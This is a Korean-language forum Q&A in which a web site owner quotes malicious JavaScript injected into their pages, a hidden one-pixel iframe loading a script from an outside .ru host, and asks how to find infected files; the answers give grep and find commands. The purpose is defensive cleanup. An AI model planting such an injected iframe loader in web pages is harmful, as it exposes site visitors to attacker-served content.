디렉터리의 모든 파일에서 "표현식"을 반복적으로 찾습니다.

디렉터리의 모든 파일에서 "표현식"을 반복적으로 찾습니다.

내 웹 서버의 웹사이트가 공격을 받았습니다: 코드 삽입.

악성 코드는 다음과 같습니다.

<script type=\"text/javascript\" language=\"javascript\">
(function () {     
    var t = document.createElement('iframe');    
    t.src = 'http://ahtiagge.ru/count27.php';    
    t.style.position = 'absolute';    
    t.style.border = '0';    
    t.style.height = '1px';    
    t.style.width = '1px';    
    t.style.left = '1px';    
    t.style.top = '1px';    
    if (!document.getElementById('t')) {        
        document.write('<div id=\'t\'></div>');
        document.getElementById('t').appendChild(t);    
    }
 })
();</script>

감염을 막기 위해 내 서버에 있는 모든 파일의 이름(및 경로)을 알고 싶습니다. 제가 일치시키려는 표현은 다음과 같습니다. 'http://ahtiagge.ru/count27.php'

나는 다음과 같은 결과를 원합니다 :

/var/www/vhosts/site1.com/httpdocs/index.php
/var/www/vhosts/site1.com/httpdocs/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/and_sub/fileN.php

쉘 스크립트를 사용하여 이 문제를 어떻게 해결할 수 있습니까? 가능합니까?

답변1

grep그냥 똑같이 사용해도 됩니다

grep -RP "http:\/\/ahtiagge.ru\/count27\.php" /var/www/vhosts/

또는 다음 명령을 사용하여 *.php 파일을 체크인하세요.find

find /var/www/vhosts/ -name "*.php" -print | xargs grep -P "http:\/\/ahtiagge.ru\/count27\.php"

답변2

나는 이 명령을 좋아한다:

grep -i -n -I -H -R --include="*.php" -E "some_expression" .

건배.

관련 정보